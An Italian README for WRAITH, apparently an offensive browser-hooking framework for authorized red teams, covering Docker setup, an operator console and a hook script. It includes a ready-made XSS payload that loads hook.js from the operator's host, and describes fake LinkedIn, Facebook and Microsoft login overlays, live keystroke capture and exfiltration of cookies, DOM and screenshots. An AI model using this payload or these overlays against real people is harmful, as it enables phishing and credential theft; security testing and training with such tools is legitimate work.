
Framework di hooking dei browser per red team autorizzati e formatori. Aggancia i browser tramite XSS, offre controllo interattivo post-exploitation, cattura di bottino blind-XSS, overlay di social engineering e un laboratorio di pratica.
Un framework moderno e autonomo per l'hooking dei browser, pensato per red team, ricercatori di sicurezza ed educatori — un successore clean-room di BeEF e degli strumenti di callback per blind-XSS che usiamo ogni giorno.
SOLO PER TEST DI SICUREZZA AUTORIZZATI, RICERCA E FORMAZIONE. WRAITH è uno strumento di sicurezza offensiva per dimostrare e testare tecniche di phishing / man-in-the-browser / blind-XSS. Usalo esclusivamente contro sistemi e persone su cui hai esplicita autorizzazione a testare. Sei responsabile dell'uso che ne fai.

Nel corso del nostro lavoro in Arcanum, continuavamo a ricorrere a due diversi tipi di strumenti, desiderando che fossero un'unica cosa.
Da un lato c'era BeEF — il Browser Exploitation Framework — per il classico flusso di lavoro hook di un browser, poi operare dall'interno della sua sessione: keylogging su un finto login, ricognizione della rete locale, invio di un modulo a una vittima live. È lo strumento che usavamo per rendere reale il man-in-the-browser alle persone. Ma mostra i suoi anni, gran parte è inaffidabile nei browser odierni, e le overlay di social engineering sembrano login di un decennio fa.
Dall'altro lato c'erano i nostri framework di callback per blind-XSS preferiti (XSS Hunter, ezXSS): inserisci un payload in un campo, e nell'istante in cui si attiva da qualche parte che non puoi vedere, chiama a casa con il bottino — origine, cookie, DOM, uno screenshot.
Quello di cui avevamo sempre più bisogno — specialmente man mano che più target diventavano ecosistemi di applicazioni AI, dove testo non fidato scorre attraverso agenti, output di strumenti, code di revisione admin e console di supporto, e fa scattare JavaScript in luoghi dove nessuno guarda — era un unico framework che facesse entrambe le cose: il controllo interattivo e persistente post-exploitation di un hook BeEF, e il bottino fire-and-forget da callback blind-XSS, in un unico payload affidabile nei browser attuali e che somigli ai veri schermi di login di oggi.
Così abbiamo costruito WRAITH.
Rilasciamo WRAITH in anticipo, e di proposito. Preferiamo metterlo nelle mani delle persone che lo useranno davvero — e sentire cosa si rompe — piuttosto che tenerlo finché non è "finito".
Questo significa: aspettatevi spigoli e bug. Alcuni moduli sono più testati sul campo di altri, il comportamento dei browser cambia continuamente sotto di noi (vedi le note sullo scan di rete qui sotto), e le API possono cambiare tra versioni. Se incontri qualcosa, apri una issue — passi per la riproduzione, browser + versione, e cosa ti aspettavi sono oro. Le PR sono benvenute secondo i termini di contribuzione del progetto.
Il percorso più veloce. Ti servono Docker + Docker Compose.
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
setup.sh ti guida attraverso tutto:
.env gitignorato (chmod 600),
e compila + avvia il container. Console operatore : http://YOUR_IP:8090/operator/
Pagina di login : http://YOUR_IP:8090/login (utente "operator")
Pagina vittima demo : http://YOUR_IP:8090/demo/
Payload hook : http://YOUR_IP:8090/hook.js
Payload XSS pronto all'uso:
"><script src="http://YOUR_IP:8090/hook.js"></script>
Gestiscilo con i comandi compose standard:
docker compose logs -f # osservalo
docker compose down # ferma (mantiene ./data)
./setup.sh # riconfigura (ruota la password, cambia indirizzo, …)
Le sessioni catturate persistono in ./data/ sull'host — mai incluse nell'
immagine, mai committate (.env e data/ sono gitignorati).
La console operatore è protetta da login ogni volta che è impostata una password operatore, con accesso tramite nome utente + password:

npm install
npm start
Poi apri la console operatore su http://127.0.0.1:3000/operator/ e la pagina vittima demo su http://127.0.0.1:3000/demo/ (in un secondo browser/profilo). Su localhost, il login è disabilitato di default per comodità — il server rifiuta di legarsi a un'interfaccia pubblica senza una password operatore, così non puoi esporre accidentalmente un pannello aperto.
/hook.js è un payload piccolo. Inseriscilo in qualsiasi pagina che controlli
(<script src="/hook.js"></script>) o consegnalo tramite un XSS nel tuo target. Il
browser che lo carica apre un WebSocket verso l'operatore, si identifica
(browser, OS, IP, pagina, UA), si riconnette automaticamente e sopravvive alla navigazione. Ogni
browser hookato appare live nella console, dove ne scegli uno e lo piloti — la
dashboard completa è l'immagine principale in cima a questo README: elenco dei browser hookati,
dettaglio del target, controlli di deploy, feed attività live e credenziali catturate.
Overlay modernizzate di finto login, renderizzate in un shadow DOM isolato così che appaiano pixel-perfect su qualsiasi pagina host e sfumino la pagina dietro di loro come un vero modale di ri-autenticazione. Include LinkedIn, Facebook e Microsoft / Office 365 (autentico flusso a due passaggi email → password).

Ogni carattere che il target digita in un'overlay viene trasmesso alla console in tempo reale, e le credenziali inviate finiscono in Credenziali Catturate — tutto persistito così che nulla vada perso al refresh o al riavvio.

Nell'istante in cui un browser si hooka, WRAITH attiva automaticamente Page Capture: esattamente ciò che un framework blind-XSS cattura quando il tuo payload si attiva da qualche parte che non puoi vedere — dove si è attivato (origine + URL + referrer), i cookie della vittima (non-HttpOnly), il DOM completo e uno screenshot. I fallimenti vengono riportati onestamente, perché sono la lezione: i cookie HttpOnly non compaiono mai, e CSP o il tainting del canvas cross-origin possono bloccare lo screenshot.
